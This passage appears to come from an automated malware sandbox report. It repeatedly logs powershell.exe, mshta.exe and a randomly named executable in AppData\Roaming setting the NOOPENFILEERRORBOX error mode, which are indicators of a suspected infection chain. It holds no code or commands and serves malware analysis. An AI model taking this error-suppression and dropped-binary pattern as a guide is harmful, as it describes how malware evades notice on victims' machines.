Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
